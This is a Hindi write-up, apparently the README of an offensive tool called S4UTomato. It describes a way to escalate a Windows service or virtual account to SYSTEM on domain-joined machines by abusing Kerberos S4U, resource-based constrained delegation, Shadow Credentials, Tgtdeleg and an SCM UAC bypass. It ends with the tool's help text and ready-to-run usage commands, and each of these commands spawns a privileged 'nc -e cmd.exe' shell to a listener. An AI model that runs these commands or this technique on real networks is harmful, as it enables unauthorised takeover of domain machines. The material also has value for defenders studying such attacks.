
Kerberos के माध्यम से Service Account को LocalSystem में बढ़ाना
Kerberos के माध्यम से सेवा खाते को LocalSystem में बढ़ाएँ।
"Potato" श्रृंखला के विशेषाधिकार वृद्धि से परिचित मित्रों को पता होना चाहिए कि यह सेवा खाते के विशेषाधिकारों को स्थानीय सिस्टम विशेषाधिकारों में बढ़ा सकता है। "Potato" की प्रारंभिक शोषण तकनीकें लगभग समान हैं: COM इंटरफेस की कुछ विशेषताओं का लाभ उठाना, NT AUTHORITY\SYSTEM खाते को धोखा देकर हमलावर-नियंत्रित RPC सर्वर से कनेक्ट और प्रमाणित करना। फिर, API कॉल्स की एक श्रृंखला के माध्यम से, इस प्रमाणीकरण प्रक्रिया के दौरान एक मध्यस्थ (NTLM Relay) हमला किया जाता है, जिसके परिणामस्वरूप स्थानीय सिस्टम पर NT AUTHORITY\SYSTEM खाते के लिए एक एक्सेस टोकन उत्पन्न होता है। अंत में, इस टोकन को चुराया जाता है, और CreateProcessWithToken() या CreateProcessAsUser() फ़ंक्शन का उपयोग करके टोकन को पास किया जाता है और SYSTEM विशेषाधिकार प्राप्त करने के लिए एक नई प्रक्रिया बनाई जाती है।
विंडोज डोमेन वातावरण में, SYSTEM, NT AUTHORITY\NETWORK SERVICE, और Microsoft वर्चुअल खातों का उपयोग डोमेन से जुड़े सिस्टम कंप्यूटर खातों द्वारा प्रमाणीकरण के लिए किया जाता है। इसे समझना महत्वपूर्ण है क्योंकि विंडोज के आधुनिक संस्करणों में, अधिकांश विंडोज सेवाएँ डिफ़ॉल्ट रूप से Microsoft वर्चुअल खातों का उपयोग करके चलती हैं। विशेष रूप से, IIS और MSSQL इन वर्चुअल खातों का उपयोग करते हैं, और मेरा मानना है कि अन्य एप्लिकेशन भी इनका उपयोग कर सकते हैं। इसलिए, हम S4U एक्सटेंशन का दुरुपयोग करके स्थानीय मशीन पर डोमेन प्रशासक खाते "Administrator" के लिए सेवा टिकट प्राप्त कर सकते हैं। फिर, James Forshaw (@tiraniddo) के SCMUACBypass की सहायता से, हम उस टिकट का उपयोग करके एक सिस्टम सेवा बना सकते हैं और SYSTEM विशेषाधिकार प्राप्त कर सकते हैं। यह "Potato" परिवार की पारंपरिक विशेषाधिकार वृद्धि तकनीकों के समान प्रभाव प्राप्त करता है।
किसी भी ऐसे परिदृश्य में जहाँ एक मशीन डोमेन से जुड़ी हो, आप उपरोक्त तकनीकों का उपयोग स्थानीय विशेषाधिकार वृद्धि के लिए कर सकते हैं, बशर्ते आप विंडोज सेवा खाते या Microsoft वर्चुअल खाते के संदर्भ में कोड चला सकें, जब तक कि Active Directory को ऐसे हमलों से पूरी तरह बचाव के लिए कठोर नहीं किया गया हो।
इससे पहले, हमें स्थानीय मशीन खाते के लिए एक TGT (टिकट ग्रांटिंग टिकट) प्राप्त करने की आवश्यकता है। यह आसान नहीं है क्योंकि सेवा खाते के अनुमतियों द्वारा लगाए गए प्रतिबंध हमें कंप्यूटर की दीर्घकालिक कुंजी प्राप्त करने से रोकते हैं और इस प्रकार KRB_AS_REQ अनुरोध का निर्माण करने में असमर्थ होते हैं। उपरोक्त लक्ष्य को प्राप्त करने के लिए, मैंने तीन तकनीकों का लाभ उठाया: Resource-based Constrained Delegation, Shadow Credentials, और Tgtdeleg। मैंने अपना प्रोजेक्ट Rubeus टूलसेट पर आधारित बनाया।
C:\Users\whoami\Desktop>S4UTomato.exe --help
S4UTomato 1.0.0-beta
Copyright (c) 2023
-d, --Domain Domain (FQDN) to authenticate to.
-s, --Server Host name of domain controller or LDAP server.
-m, --ComputerName The new computer account to create.
-p, --ComputerPassword The password of the new computer account to be created.
-f, --Force Forcefully update the 'msDS-KeyCredentialLink' attribute of the computer
object.
-c, --Command Program to run.
-v, --Verbose Output verbose debug information.
--help Display this help screen.
--version Display version information.
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

# First retrieve the TGT through Tgtdeleg
S4UTomato.exe tgtdeleg
# Then run SCMUACBypass to obtain SYSTEM privilege
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
